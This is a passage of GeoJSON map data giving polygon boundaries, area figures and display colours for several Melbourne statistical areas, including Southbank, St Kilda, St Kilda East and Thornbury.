West","AREASQKM":2.5172,"fillColor":"#89D548","strokeColor":"#89D548","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9869843,-37.8360481],[144.9870148,-37.8359184],[144.9870911,-37.8354988],[144.9871063,-37.8354683],[144.9872131,-37.8349609],[144.9872589,-37.8347588],[144.987381,-37.8341408],[144.9874268,-37.8338509],[144.9875183,-37.8334084],[144.9875793,-37.8330574],[144.9877014,-37.832489],[144.9877472,-37.8322487],[144.9878387,-37.8317184],[144.987915,-37.831398],[144.9879303,-37.8313179],[144.9879303,-37.8312378],[144.9879303,-37.8311691],[144.9879303,-37.831089],[144.9879303,-37.8310089],[144.987915,-37.8309479],[144.987915,-37.8309288],[144.9878998,-37.8308487],[144.9878845,-37.8307686],[144.9878693,-37.830719],[144.9878387,-37.8306274],[144.9878082,-37.8304787],[144.987793,-37.83041],[144.987793,-37.8303185],[144.987793,-37.8302498],[144.9878235,-37.8301201],[144.9878235,-37.8300781],[144.987915,-37.82967],[144.987915,-37.8296204],[144.9883728,-37.8299599],[144.9886017,-37.8301697],[144.9888153,-37.8303986],[144.9893951,-37.8309898],[144.9896088,-37.8311882],[144.9896698,-37.8312798],[144.9898529,-37.8315086],[144.990036,-37.8317375],[144.9901428,-37.8318596],[144.9902496,-37.8320198],[144.9903412,-37.8321304],[144.990387,-37.8322296],[144.9904327,-37.8323288],[144.9904938,-37.8323975],[144.9905701,-37.8325195],[144.9906311,-37.8325882],[144.9909058,-37.8328972],[144.9911346,-37.8330498],[144.9911957,-37.8330803],[144.9913635,-37.833149],[144.9914703,-37.8331795],[144.9916534,-37.8332176],[144.9918518,-37.8332481],[144.9920654,-37.8332672],[144.9922638,-37.8332787],[144.9924927,-37.8333092],[144.9927216,-37.8333206],[144.992981,-37.8333473],[144.993042,-37.8333473],[144.993103,-37.8333588],[144.9931793,-37.8333702],[144.9932709,-37.8333702],[144.9934235,-37.8334007],[144.994339,-37.8335991],[144.9949036,-37.8337898],[144.995575,-37.8340302],[144.9960632,-37.8342094],[144.9964142,-37.8342705],[144.996582,-37.8342896],[144.9966736,-37.8342972],[144.996933,-37.8342705],[144.9973602,-37.8342209],[144.9979706,-37.8340988],[144.9987335,-37.8339806],[144.9992065,-37.8339195],[144.9995117,-37.8338394],[144.9997406,-37.8337593],[144.999939,-37.8336906],[145.000351,-37.833519],[145.0006714,-37.8334579],[145.0010529,-37.8334885],[145.0014954,-37.8335991],[145.0021057,-37.8337898],[145.002533,-37.8339806],[145.0027313,-37.8341293],[145.0028839,-37.8342781],[145.0030212,-37.8344307],[145.0033417,-37.8345108],[145.0036621,-37.8344803],[145.003891,-37.8344193],[145.0040588,-37.8343086],[145.0041809,-37.8341675],[145.0042419,-37.83395],[145.0042572,-37.8336983],[145.0042419,-37.8333702],[145.0041504,-37.8330078],[145.0040283,-37.8326302],[145.0038605,-37.832119],[145.0037842,-37.8317795],[145.00383,-37.8315697],[145.003952,-37.83144],[145.0041199,-37.8313293],[145.004364,-37.8312187],[145.0045929,-37.8311691],[145.0048828,-37.8311691],[145.0051575,-37.8311882],[145.0054474,-37.8312607],[145.0057831,-37.8313599],[145.0061188,-37.8314705],[145.0061493,-37.8314896],[145.0062714,-37.8315277],[145.0064392,-37.8315697],[145.0063629,-37.8320007],[145.0062561,-37.8324776],[145.0061188,-37.833168],[145.0061035,-37.8332787],[145.005722,-37.8353195],[145.0054321,-37.8367996],[145.0053253,-37.8373108],[145.005249,-37.8377075],[145.0050812,-37.8385391],[145.0050507,-37.8386192],[145.0049133,-37.8394203],[145.0048065,-37.8400002],[145.004715,-37.8404999],[145.0046844,-37.8405876],[145.0046692,-37.8406677],[145.0045929,-37.8410797],[145.0045471,-37.8413086],[145.0045166,-37.8414307],[145.0044708,-37.8416977],[145.0044403,-37.8417892],[145.0043793,-37.8420792],[145.0043182,-37.8424797],[145.0042572,-37.8427582],[145.0042114,-37.8429985],[145.0040741,-37.843708],[145.0040131,-37.8440094],[145.0039215,-37.8444481],[145.0039215,-37.8445206],[145.0038605,-37.84478],[145.0037689,-37.8452072],[145.0037384,-37.8453979],[145.0035706,-37.8461876],[145.003479,-37.8466606],[145.0033722,-37.8471298],[145.0032806,-37.8476105],[145.0031738,-37.8480988],[145.0024109,-37.8479881],[145.0017548,-37.8479004],[145.0012054,-37.8478279],[145.0004425,-37.8477173],[144.9993896,-37.84758],[144.9989929,-37.8475189],[144.998642,-37.8474808],[144.9979095,-37.8473778],[144.9975433,-37.8473282],[144.9967194,-37.8472176],[144.9962311,-37.8471489],[144.9949951,-37.8469772],[144.994751,-37.8469391],[144.9941254,-37.846859],[144.9932709,-37.8467484],[144.992981,-37.8467102],[144.99263,-37.8466682],[144.9923401,-37.8466301],[144.9917297,-37.84655],[144.9914703,-37.8465195],[144.9904633,-37.8463898],[144.9900665,-37.8463287],[144.9895935,-37.8462677],[144.9893799,-37.8462486],[144.9887543,-37.8461685],[144.9885559,-37.846138],[144.9881592,-37.8460884],[144.9880219,-37.8460693],[144.9877167,-37.8460274],[144.98703,-37.8459396],[144.9869385,-37.8459282],[144.9860382,-37.8458099],[144.9850159,-37.8456802],[144.9852295,-37.8446083],[144.9852905,-37.8443489],[144.9854126,-37.8437805],[144.9854126,-37.8437004],[144.9855499,-37.8430672],[144.9855652,-37.8429794],[144.9856873,-37.8423882],[144.9858398,-37.8416672],[144.9858704,-37.8414879],[144.9859772,-37.8410072],[144.986084,-37.8404694],[144.986145,-37.8401375],[144.9863129,-37.8393173],[144.9863281,-37.8392677],[144.9864502,-37.8386307],[144.9865112,-37.8383179],[144.9866028,-37.8379478],[144.9866333,-37.83778],[144.9867401,-37.8372688],[144.9867706,-37.8371086],[144.9868469,-37.8367195],[144.9869843,-37.8360481]]]}},{"type":"Feature","properties":{"SA2_NAME":"South Yarra - West","polygonId":56,"SA3_NAME":"Melbourne City","AREASQKM":1.5027,"fillColor":"#89D548","strokeColor":"#89D548","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9745331,-37.8346672],[144.9744415,-37.8345604],[144.9741821,-37.8342705],[144.9741058,-37.8341904],[144.973999,-37.8341179],[144.9736328,-37.8338776],[144.973465,-37.8337593],[144.9734039,-37.8337173],[144.9728088,-37.8332901],[144.972641,-37.8331795],[144.9725037,-37.8330574],[144.9723663,-37.8329391],[144.9722443,-37.8328094],[144.9788971,-37.8336678],[144.9799194,-37.8337975],[144.9807129,-37.8339081],[144.9812775,-37.8339806],[144.9825134,-37.8341408],[144.9833527,-37.8342476],[144.9836731,-37.8342896],[144.9837952,-37.8336678],[144.9838715,-37.8332596],[144.9840851,-37.8321991],[144.9844208,-37.8305092],[144.9844818,-37.8301392],[144.9845734,-37.8297501],[144.9846191,-37.8294601],[144.9847107,-37.828968],[144.984848,-37.8283386],[144.9850006,-37.8283882],[144.9851837,-37.8284492],[144.9853516,-37.8285294],[144.9855042,-37.8286095],[144.9856567,-37.8286972],[144.9858093,-37.8287888],[144.9859467,-37.8288994],[144.9860687,-37.82901],[144.9865417,-37.8293686],[144.9872894,-37.8300781],[144.9875488,-37.8303185],[144.9877777,-37.8305473],[144.9878387,-37.8306274],[144.9878693,-37.830719],[144.9878845,-37.8307686],[144.9878998,-37.8308487],[144.987915,-37.8309288],[144.987915,-37.8309479],[144.9879303,-37.8310089],[144.9879303,-37.831089],[144.9879303,-37.8311691],[144.9879303,-37.8312378],[144.9879303,-37.8313179],[144.987915,-37.831398],[144.9878387,-37.8317184],[144.9877472,-37.8322487],[144.9877014,-37.832489],[144.9875793,-37.8330574],[144.9875183,-37.8334084],[144.9874268,-37.8338509],[144.987381,-37.8341408],[144.9872589,-37.8347588],[144.9872131,-37.8349609],[144.9871063,-37.8354683],[144.9870911,-37.8354988],[144.9870148,-37.8359184],[144.9869843,-37.8360481],[144.9868469,-37.8367195],[144.9867706,-37.8371086],[144.9867401,-37.8372688],[144.9866333,-37.83778],[144.9866028,-37.8379478],[144.9865112,-37.8383179],[144.9864502,-37.8386307],[144.9863281,-37.8392677],[144.9863129,-37.8393173],[144.986145,-37.8401375],[144.986084,-37.8404694],[144.9859772,-37.8410072],[144.9858704,-37.8414879],[144.9858398,-37.8416672],[144.9856873,-37.8423882],[144.9855652,-37.8429794],[144.9855499,-37.8430672],[144.9854126,-37.8437004],[144.9854126,-37.8437805],[144.9852905,-37.8443489],[144.9852295,-37.8446083],[144.9850159,-37.8456802],[144.9849396,-37.8461189],[144.9847717,-37.8470497],[144.9847412,-37.8472481],[144.9847107,-37.8474083],[144.9845734,-37.8483391],[144.9843292,-37.8498383],[144.9841919,-37.8506584],[144.9830322,-37.8505096],[144.9823303,-37.8504295],[144.9806366,-37.8502083],[144.9804382,-37.849659],[144.9803314,-37.8493881],[144.9801483,-37.8488579],[144.9797211,-37.8477173],[144.9795074,-37.8471107],[144.9794159,-37.8468704],[144.9790802,-37.8459702],[144.9786835,-37.8448486],[144.9785614,-37.8445473],[144.9783936,-37.8440475],[144.9782715,-37.843708],[144.9781342,-37.8433609],[144.9779968,-37.8429909],[144.9779205,-37.8427582],[144.9778137,-37.8424797],[144.9777222,-37.8422279],[144.9775391,-37.8417282],[144.9774017,-37.8413391],[144.9772797,-37.8410187],[144.9770813,-37.8404694],[144.9769897,-37.8402176],[144.9768829,-37.8399506],[144.9767914,-37.8396797],[144.9765778,-37.8390694],[144.9764404,-37.8387184],[144.9763489,-37.8384476],[144.9762573,-37.8381996],[144.976059,-37.8376694],[144.9758606,-37.8371506],[144.9755249,-37.8362083],[144.9754791,-37.8360672],[144.9754333,-37.835968],[144.9753418,-37.8358307],[144.9751892,-37.8355675],[144.9750366,-37.8353195],[144.9749756,-37.8351974],[144.9749298,-37.8351173],[144.9748688,-37.8350487],[144.9745331,-37.8346672]]]}},{"type":"Feature","properties":{"SA2_NAME":"Southbank","polygonId":57,"SA3_NAME":"Melbourne City","AREASQKM":3.0743,"fillColor":"#89D548","strokeColor":"#89D548","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9397736,-37.8254585],[144.9395447,-37.8252602],[144.9376984,-37.8236694],[144.937851,-37.8230896],[144.9398651,-37.8235207],[144.940506,-37.823658],[144.9420013,-37.8239708],[144.9423523,-37.8241005],[144.942627,-37.8243179],[144.9430237,-37.8246078],[144.9430389,-37.8246307],[144.9433136,-37.8248291],[144.9433594,-37.8248596],[144.9434204,-37.8248978],[144.9434814,-37.8249207],[144.9435425,-37.8249474],[144.9436035,-37.8249702],[144.9436798,-37.8249779],[144.9437408,-37.8249893],[144.944458,-37.8250694],[144.9451904,-37.8251381],[144.9459991,-37.8252296],[144.9462128,-37.8252373],[144.946991,-37.8252907],[144.9472504,-37.8252983],[144.9473419,-37.8252983],[144.9475555,-37.8252907],[144.9477234,-37.8252487],[144.9478607,-37.8252296],[144.9479675,-37.8252296],[144.9480896,-37.824749],[144.9481201,-37.8245583],[144.9480896,-37.8244476],[144.9480591,-37.8243103],[144.9480286,-37.8241997],[144.9479218,-37.8237572],[144.9479218,-37.8233795],[144.948349,-37.8233681],[144.9491882,-37.8234596],[144.9498138,-37.8235283],[144.9521942,-37.823719],[144.9533234,-37.8237],[144.9543915,-37.8235474],[144.9552612,-37.8233376],[144.9559784,-37.8230476],[144.9569092,-37.8225899],[144.95784,-37.8220787],[144.9580688,-37.8219681],[144.9590302,-37.8215103],[144.9599915,-37.8210373],[144.9606171,-37.8207474],[144.96138,-37.8205109],[144.9630127,-37.8200989],[144.9636688,-37.8199196],[144.9644165,-37.8197594],[144.9647675,-37.8197098],[144.9653778,-37.8196106],[144.9663086,-37.819458],[144.9664001,-37.8194504],[144.9671631,-37.8193283],[144.9679718,-37.8192406],[144.9682465,-37.8192177],[144.9682922,-37.8193283],[144.968338,-37.8194199],[144.9684296,-37.8196182],[144.9702301,-37.8195076],[144.9716187,-37.8194084],[144.9730988,-37.8198204],[144.9746399,-37.8208885],[144.976059,-37.8225975],[144.9766388,-37.8231888],[144.9774017,-37.823288],[144.9784393,-37.8244781],[144.9793243,-37.8255081],[144.9800568,-37.8260994],[144.9811249,-37.8267975],[144.9825134,-37.8272285],[144.9839325,-37.8274689],[144.9849243,-37.8276482],[144.9850311,-37.8276787],[144.9857635,-37.8278809],[144.986496,-37.8283081],[144.9870911,-37.8288574],[144.987915,-37.82967],[144.9878235,-37.8300781],[144.9878235,-37.8301201],[144.987793,-37.8302498],[144.987793,-37.8303185],[144.987793,-37.83041],[144.9878082,-37.8304787],[144.9878387,-37.8306274],[144.9877777,-37.8305473],[144.9875488,-37.8303185],[144.9872894,-37.8300781],[144.9865417,-37.8293686],[144.9860687,-37.82901],[144.9859467,-37.8288994],[144.9858093,-37.8287888],[144.9856567,-37.8286972],[144.9855042,-37.8286095],[144.9853516,-37.8285294],[144.9851837,-37.8284492],[144.9850006,-37.8283882],[144.984848,-37.8283386],[144.9847107,-37.828968],[144.9846191,-37.8294601],[144.9845734,-37.8297501],[144.9844818,-37.8301392],[144.9844208,-37.8305092],[144.9840851,-37.8321991],[144.9838715,-37.8332596],[144.9837952,-37.8336678],[144.9836731,-37.8342896],[144.9833527,-37.8342476],[144.9825134,-37.8341408],[144.9812775,-37.8339806],[144.9807129,-37.8339081],[144.9799194,-37.8337975],[144.9788971,-37.8336678],[144.9722443,-37.8328094],[144.9721222,-37.8326797],[144.9720612,-37.8326073],[144.9719238,-37.8324394],[144.9718323,-37.8323174],[144.9717865,-37.8322792],[144.9717102,-37.8321304],[144.9716492,-37.8319778],[144.9715729,-37.8318405],[144.9715271,-37.8316803],[144.9714813,-37.8315277],[144.9714355,-37.8313789],[144.971405,-37.8312187],[144.9713898,-37.8310699],[144.9713593,-37.8307495],[144.9713593,-37.8306808],[144.9713287,-37.8304291],[144.9713287,-37.8301582],[144.9713135,-37.8298874],[144.9704132,-37.8301506],[144.9702148,-37.8302078],[144.9694061,-37.8304405],[144.9682922,-37.8307571],[144.9673462,-37.8310394],[144.9658356,-37.8314781],[144.9651489,-37.83078],[144.964859,-37.8304977],[144.9642029,-37.8298302],[144.9638367,-37.8294601],[144.9631805,-37.8288002],[144.9627838,-37.8285675],[144.9627228,-37.8285904],[144.9622803,-37.8282509],[144.9620514,-37.8281708],[144.9619751,-37.8281403],[144.961853,-37.8280983],[144.9617004,-37.8280792],[144.9616241,-37.8280602],[144.96138,-37.8280602],[144.9611206,-37.8281097],[144.9610291,-37.8281174],[144.9607849,-37.8281784],[144.9603119,-37.8283005],[144.9599457,-37.8283806],[144.9598389,-37.8283997],[144.9597931,-37.8282585],[144.9595184,-37.8283195],[144.9590759,-37.8283806],[144.9584503,-37.8284302],[144.9582062,-37.8284378],[144.9577789,-37.8284378],[144.9572601,-37.8284187],[144.9571838,-37.8284073],[144.9570465,-37.8283997],[144.9564667,-37.8283195],[144.9561005,-37.8282585],[144.9557953,-37.8281898],[144.9555206,-37.8281288],[144.9551697,-37.8280602],[144.9549866,-37.8280182],[144.9547119,-37.8279572],[144.9539795,-37.8277893],[144.9535217,-37.8276978],[144.9534149,-37.8276787],[144.9529724,-37.8275986],[144.9524841,-37.8275108],[144.952179,-37.8274689],[144.9518585,-37.8274193],[144.9512329,-37.8273201],[144.950119,-37.8271179],[144.9496002,-37.8270378],[144.9490204,-37.8269501],[144.9485779,-37.8268776],[144.9483032,-37.8268394],[144.9478607,-37.8267479],[144.9477234,-37.8267403],[144.9475861,-37.8267403],[144.9474945,-37.8267479],[144.9472504,-37.8266792],[144.9470215,-37.8266296],[144.9468689,-37.8265877],[144.9465332,-37.826519],[144.9461212,-37.8264503],[144.945694,-37.8264008],[144.9449921,-37.8263092],[144.9445801,-37.8262405],[144.9429626,-37.8259583],[144.9422913,-37.8258705],[144.9414368,-37.8257904],[144.9405212,-37.8257294],[144.9403381,-37.8257294],[144.9400787,-37.8257294],[144.9397736,-37.8254585]]]}},{"type":"Feature","properties":{"SA2_NAME":"St Kilda","polygonId":64,"SA3_NAME":"Port Phillip","AREASQKM":3.901,"fillColor":"#90D743","strokeColor":"#90D743","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9702911,-37.8607788],[144.9701691,-37.8607101],[144.9699554,-37.8605576],[144.9699402,-37.860508],[144.9698792,-37.8604393],[144.9696808,-37.8602982],[144.9692993,-37.8600998],[144.9691315,-37.8599777],[144.9687958,-37.8597374],[144.9685822,-37.8596306],[144.9686127,-37.8595772],[144.9687195,-37.8595581],[144.9688416,-37.8594704],[144.9689331,-37.8593178],[144.9689026,-37.8592987],[144.9687653,-37.8593788],[144.9685822,-37.8594894],[144.9682922,-37.8594894],[144.9680328,-37.8594475],[144.9678192,-37.8593674],[144.9676819,-37.8592186],[144.9676361,-37.8591309],[144.9675598,-37.8589897],[144.967392,-37.8588104],[144.9671631,-37.8586998],[144.9668121,-37.858429],[144.9663239,-37.8580208],[144.9659119,-37.8577385],[144.9656677,-37.8574982],[144.9662476,-37.8568077],[144.9664917,-37.8565292],[144.9668884,-37.8560371],[144.9672699,-37.8555908],[144.9680634,-37.8546371],[144.9682617,-37.8543892],[144.968399,-37.8543472],[144.9689484,-37.8541603],[144.9701691,-37.8537292],[144.9706421,-37.85355],[144.9742889,-37.8521881],[144.9743652,-37.8521805],[144.9753571,-37.8536682],[144.9754791,-37.8537788],[144.9756775,-37.8538589],[144.9758911,-37.8538895],[144.97612,-37.8538704],[144.9783325,-37.8531876],[144.9785156,-37.8530807],[144.9785309,-37.8529091],[144.9790344,-37.8527603],[144.9788513,-37.8522186],[144.9785767,-37.851429],[144.9783478,-37.8507309],[144.9794159,-37.8504906],[144.9806366,-37.8502083],[144.9823303,-37.8504295],[144.9830322,-37.8505096],[144.9841919,-37.8506584],[144.9840698,-37.8513184],[144.9840698,-37.8513603],[144.9839478,-37.8520699],[144.9838257,-37.8527489],[144.9837036,-37.8535004],[144.9835815,-37.8541298],[144.98349,-37.8546791],[144.9834595,-37.8547592],[144.9833221,-37.855648],[144.9854431,-37.8559303],[144.9859009,-37.8559875],[144.9865723,-37.8560791],[144.9876709,-37.8562279],[144.9896698,-37.8564873],[144.9898834,-37.8565292],[144.9901123,-37.8565903],[144.9903412,-37.8566589],[144.9904938,-37.8567276],[144.9906616,-37.8568001],[144.9908142,-37.8568687],[144.9909668,-37.8569603],[144.9916077,-37.857338],[144.9918213,-37.85746],[144.9919434,-37.8575096],[144.9920807,-37.8575706],[144.9922638,-37.8576393],[144.9924927,-37.8577194],[144.9927521,-37.8577995],[144.9929962,-37.8578491],[144.9932709,-37.8578987],[144.9932098,-37.8581772],[144.9930725,-37.8590775],[144.9927826,-37.8605804],[144.9927216,-37.86092],[144.99263,-37.8614998],[144.9926147,-37.8615875],[144.9920502,-37.8615189],[144.9915924,-37.8614578],[144.9915314,-37.8617706],[144.9914703,-37.8620796],[144.9914703,-37.8621597],[144.9914093,-37.8624382],[144.991333,-37.8628883],[144.9913025,-37.8630409],[144.9912567,-37.8633308],[144.9912415,-37.86343],[144.9910889,-37.8642502],[144.9909058,-37.8653183],[144.9907227,-37.8663406],[144.9906158,-37.866848],[144.990509,-37.8674583],[144.9904938,-37.8675575],[144.9903412,-37.8683586],[144.9902191,-37.8690109],[144.9902039,-37.8691673],[144.9900818,-37.8697472],[144.989975,-37.8703079],[144.9896545,-37.8703804],[144.9888611,-37.8706894],[144.9887695,-37.870739],[144.988678,-37.8707809],[144.9879913,-37.8710403],[144.9873657,-37.8712807],[144.9873199,-37.8712997],[144.9867401,-37.8715172],[144.9859619,-37.8718185],[144.9848328,-37.8722496],[144.9843292,-37.8724403],[144.9836884,-37.8726883],[144.983551,-37.8727379],[144.9830627,-37.8729286],[144.9824219,-37.8731689],[144.981369,-37.8735886],[144.9798737,-37.8741684],[144.9779663,-37.8749084],[144.9775543,-37.8750687],[144.9768677,-37.8753395],[144.9745026,-37.8762703],[144.9744873,-37.8762207],[144.9744415,-37.8760681],[144.974411,-37.8759308],[144.974411,-37.8757591],[144.974411,-37.8755989],[144.974411,-37.8754387],[144.974411,-37.8752785],[144.9744415,-37.8751106],[144.9744415,-37.8747787],[144.9744415,-37.8746185],[144.9744263,-37.8744392],[144.9743805,-37.8742676],[144.97435,-37.8740807],[144.9743195,-37.8738899],[144.9742889,-37.8736992],[144.9742737,-37.8735275],[144.9742737,-37.8735008],[144.9742432,-37.8734589],[144.9741821,-37.8733788],[144.9741211,-37.8732796],[144.9741211,-37.8732605],[144.9738007,-37.8729591],[144.9736023,-37.8726883],[144.9733124,-37.8724785],[144.9731293,-37.872509],[144.9730988,-37.8724785],[144.9732819,-37.8723602],[144.9733124,-37.8722496],[144.9732819,-37.8721275],[144.9732971,-37.8719788],[144.9733429,-37.8719482],[144.9734192,-37.8719292],[144.973465,-37.8719597],[144.9736023,-37.8720703],[144.9737701,-37.8721581],[144.9739532,-37.8723297],[144.9741211,-37.8721886],[144.9740601,-37.8721199],[144.9740601,-37.8720894],[144.9742126,-37.8720284],[144.9744415,-37.8719902],[144.9747162,-37.8719177],[144.9748688,-37.8718796],[144.975174,-37.871769],[144.975235,-37.8717384],[144.9753418,-37.8717079],[144.9754639,-37.8716087],[144.9755096,-37.8715591],[144.975647,-37.8711586],[144.9756775,-37.8710899],[144.9756775,-37.8706894],[144.9756775,-37.8705902],[144.9756317,-37.8703995],[144.9756012,-37.8702583],[144.9755096,-37.8700905],[144.9754791,-37.8700104],[144.9753723,-37.8698273],[144.9752197,-37.8696709],[144.9751434,-37.8695908],[144.9745483,-37.8688087],[144.9741974,-37.8684578],[144.9738007,-37.8679771],[144.9734497,-37.8675995],[144.973053,-37.86726],[144.9726868,-37.8669281],[144.9724274,-37.8667603],[144.9721527,-37.8665581],[144.9718018,-37.86623],[144.9715118,-37.8659706],[144.9712677,-37.8657303],[144.9710541,-37.8656082],[144.9705963,-37.8652802],[144.9703827,-37.8651009],[144.9703217,-37.8650398],[144.9700317,-37.8648491],[144.9697266,-37.8646584],[144.9696808,-37.8645782],[144.9697113,-37.8645172],[144.970108,-37.8644676],[144.9704895,-37.8644409],[144.9707336,-37.8644104],[144.9709015,-37.8643608],[144.9709167,-37.8643379],[144.9710236,-37.8637505],[144.9710846,-37.8634682],[144.9710999,-37.8633575],[144.9710999,-37.8633385],[144.9711304,-37.8632507],[144.9711304,-37.862999],[144.9711304,-37.8628502],[144.9710999,-37.8627396],[144.9710846,-37.862648],[144.9710388,-37.8625298],[144.9709625,-37.8622894],[144.9707642,-37.8618698],[144.9707031,-37.8618889],[144.9706573,-37.8618889],[144.9706421,-37.8618774],[144.9706116,-37.8618584],[144.9705963,-37.8618279],[144.9706421,-37.8617897],[144.9707336,-37.8617592],[144.9703217,-37.8608284],[144.9702911,-37.8607788]]]}},{"type":"Feature","properties":{"SA2_NAME":"St Kilda East","polygonId":65,"SA3_NAME":"Port Phillip","AREASQKM":2.4135,"fillColor":"#90D743","strokeColor":"#90D743","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9973907,-37.8584595],[144.9980927,-37.8585587],[144.9981689,-37.8585701],[144.9986267,-37.8586273],[144.9993286,-37.8587189],[144.999649,-37.8587685],[144.9999237,-37.8588104],[145.0002441,-37.8588486],[145.0006256,-37.8588982],[145.0009918,-37.8589478],[145.001358,-37.8589973],[145.0028534,-37.8591995],[145.0040436,-37.8593597],[145.0041504,-37.8593674],[145.0048676,-37.8594704],[145.0051575,-37.8595085],[145.0056915,-37.8595772],[145.0059357,-37.8596077],[145.0068207,-37.8597298],[145.0070343,-37.8597603],[145.0078583,-37.8598709],[145.0083313,-37.8599281],[145.0087128,-37.8599777],[145.0088806,-37.8600006],[145.0093842,-37.8600693],[145.0095825,-37.8600998],[145.0101166,-37.8601685],[145.0105133,-37.860218],[145.0104218,-37.8607674],[145.0103607,-37.8610497],[145.0103149,-37.8613586],[145.0102539,-37.8616982],[145.0102081,-37.8619385],[145.0101776,-37.8620872],[145.0101318,-37.8623505],[145.0100708,-37.8626099],[145.0100403,-37.8628273],[145.0100098,-37.8629379],[145.0098724,-37.863739],[145.0097809,-37.8642387],[145.0097198,-37.8645592],[145.0095978,-37.8652191],[145.0095825,-37.8652992],[145.0094604,-37.8659592],[145.0093231,-37.8667603],[145.0092926,-37.8668175],[145.0092468,-37.8670998],[145.0091553,-37.867588],[145.0075531,-37.8673897],[145.006897,-37.8673096],[145.0057068,-37.8671494],[145.0051117,-37.8670807],[145.0046082,-37.8670197],[145.0040588,-37.8669472],[145.00354,-37.8668785],[145.0027008,-37.8667793],[145.0018005,-37.8666687],[145.001709,-37.8666573],[145.0015869,-37.8666382],[145.0000305,-37.8664474],[144.9998932,-37.8671989],[144.9997406,-37.8678894],[144.9997253,-37.8679886],[144.9996033,-37.8686905],[144.9995575,-37.8688889],[144.9994354,-37.8695107],[144.999115,-37.8711395],[144.9989929,-37.8718185],[144.9988098,-37.8727608],[144.9986267,-37.8736572],[144.9985199,-37.8741608],[144.9984589,-37.8744774],[144.9983673,-37.8750191],[144.9983215,-37.8752098],[144.9981995,-37.8758698],[144.9981689,-37.8760109],[144.9980011,-37.8769073],[144.9979248,-37.8772888],[144.997757,-37.8781509],[144.9977264,-37.8782997],[144.9976196,-37.8788681],[144.997406,-37.8799782],[144.9973602,-37.8802376],[144.9973297,-37.8803596],[144.9971313,-37.8814392],[144.9970703,-37.8817902],[144.996994,-37.8821182],[144.9969635,-37.8823204],[144.9967346,-37.8834991],[144.9959412,-37.8821487],[144.9957581,-37.8818588],[144.9953918,-37.8812599],[144.995224,-37.8810196],[144.9949188,-37.8805389],[144.9946747,-37.8801384],[144.9945221,-37.879879],[144.9942932,-37.8795395],[144.9940338,-37.8791199],[144.9937439,-37.8786697],[144.9936523,-37.8785286],[144.9935913,-37.8784409],[144.9934998,-37.8782883],[144.9933014,-37.8779678],[144.993103,-37.8776398],[144.992691,-37.8769989],[144.9922333,-37.8762474],[144.9918213,-37.8755875],[144.9915771,-37.8752098],[144.991272,-37.8747177],[144.9911499,-37.8745193],[144.9908752,-37.8740807],[144.9907227,-37.8738289],[144.990509,-37.8735199],[144.9900513,-37.8727798],[144.9898529,-37.8724594],[144.9896393,-37.8721199],[144.9894409,-37.871788],[144.9887695,-37.870739],[144.9888611,-37.8706894],[144.9896545,-37.8703804],[144.989975,-37.8703079],[144.9900818,-37.8697472],[144.9902039,-37.8691673],[144.9902191,-37.8690109],[144.9903412,-37.8683586],[144.9904938,-37.8675575],[144.990509,-37.8674583],[144.9906158,-37.866848],[144.9907227,-37.8663406],[144.9909058,-37.8653183],[144.9910889,-37.8642502],[144.9912415,-37.86343],[144.9912567,-37.8633308],[144.9913025,-37.8630409],[144.991333,-37.8628883],[144.9914093,-37.8624382],[144.9914703,-37.8621597],[144.9914703,-37.8620796],[144.9915314,-37.8617706],[144.9915924,-37.8614578],[144.9920502,-37.8615189],[144.9926147,-37.8615875],[144.99263,-37.8614998],[144.9927216,-37.86092],[144.9927826,-37.8605804],[144.9930725,-37.8590775],[144.9932098,-37.8581772],[144.9932709,-37.8578987],[144.9937897,-37.8579788],[144.9953156,-37.8581772],[144.9958954,-37.8582573],[144.9967957,-37.8583794],[144.9973907,-37.8584595]]]}},{"type":"Feature","properties":{"SA2_NAME":"Thornbury","polygonId":43,"SA3_NAME":"Darebin - South","AREASQKM":4.9972,"fillColor":"#ACDC30","strokeColor":"#ACDC30","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9812622,-37.7525673],[144.981369,-37.7524872],[144.9815674,-37.7523804],[144.981781,-37.7521896],[144.9818115,-37.7520981],[144.981781,-37.7518806],[144.9817657,-37.7517509],[144.9816437,-37.7514877],[144.9815063,-37.7513504],[144.9813232,-37.7510376],[144.9812927,-37.7509499],[144.9812622,-37.7508087],[144.9812012,-37.7506981],[144.9811401,-37.7506104],[144.9809418,-37.7504387],[144.980835,-37.7502708],[144.983551,-37.7505302],[144.9835358,-37.7505989],[144.9836426,-37.7506104],[144.9843292,-37.750679],[144.9855499,-37.7507973],[144.9859314,-37.7508392],[144.9874725,-37.7509995],[144.987854,-37.7510376],[144.9880066,-37.7510376],[144.9881134,-37.751049],[144.9892426,-37.7511597],[144.990036,-37.7512474],[144.9911499,-37.751358],[144.9925842,-37.7515106],[144.9938965,-37.7516479],[144.9949188,-37.7517586],[144.9955292,-37.7516708],[144.9987183,-37.7519798],[144.9990692,-37.752018],[144.9993439,-37.7520485],[144.9996338,-37.752079],[145.0010834,-37.7522278],[145.0011139,-37.7522278],[145.0016479,-37.7522888],[145.0022125,-37.7523499],[145.0026398,-37.7523994],[145.0026703,-37.7523994],[145.0031281,-37.7524605],[145.0036621,-37.7525177],[145.0041504,-37.7525673],[145.0053101,-37.7527084],[145.0056152,-37.752739],[145.0063934,-37.7528305],[145.0075226,-37.7529602],[145.0085907,-37.7530899],[145.0087738,-37.753109],[145.0102997,-37.7532883],[145.0108948,-37.7533607],[145.0124512,-37.7535286],[145.0131073,-37.7535973],[145.0140991,-37.7537193],[145.0156555,-37.7538872],[145.0163574,-37.7539673],[145.018631,-37.7542191],[145.0188446,-37.7542381],[145.0205994,-37.7544289],[145.023056,-37.7546883],[145.0240631,-37.7547989],[145.0247803,-37.754879],[145.0258331,-37.7549973],[145.0267181,-37.7550888],[145.0285492,-37.7552872],[145.0285339,-37.7554474],[145.0301514,-37.7556076],[145.0313568,-37.7557297],[145.0314331,-37.7558098],[145.0314789,-37.7558594],[145.0315399,-37.7558899],[145.0317078,-37.7559891],[145.0317993,-37.7560501],[145.0320129,-37.7561989],[145.032135,-37.756321],[145.0322418,-37.7564507],[145.0322571,-37.7565994],[145.0322418,-37.7567787],[145.0321808,-37.7568474],[145.0321503,-37.7569084],[145.0318146,-37.7571373],[145.031723,-37.7572098],[145.031662,-37.7572479],[145.0314789,-37.75737],[145.0313721,-37.7574196],[1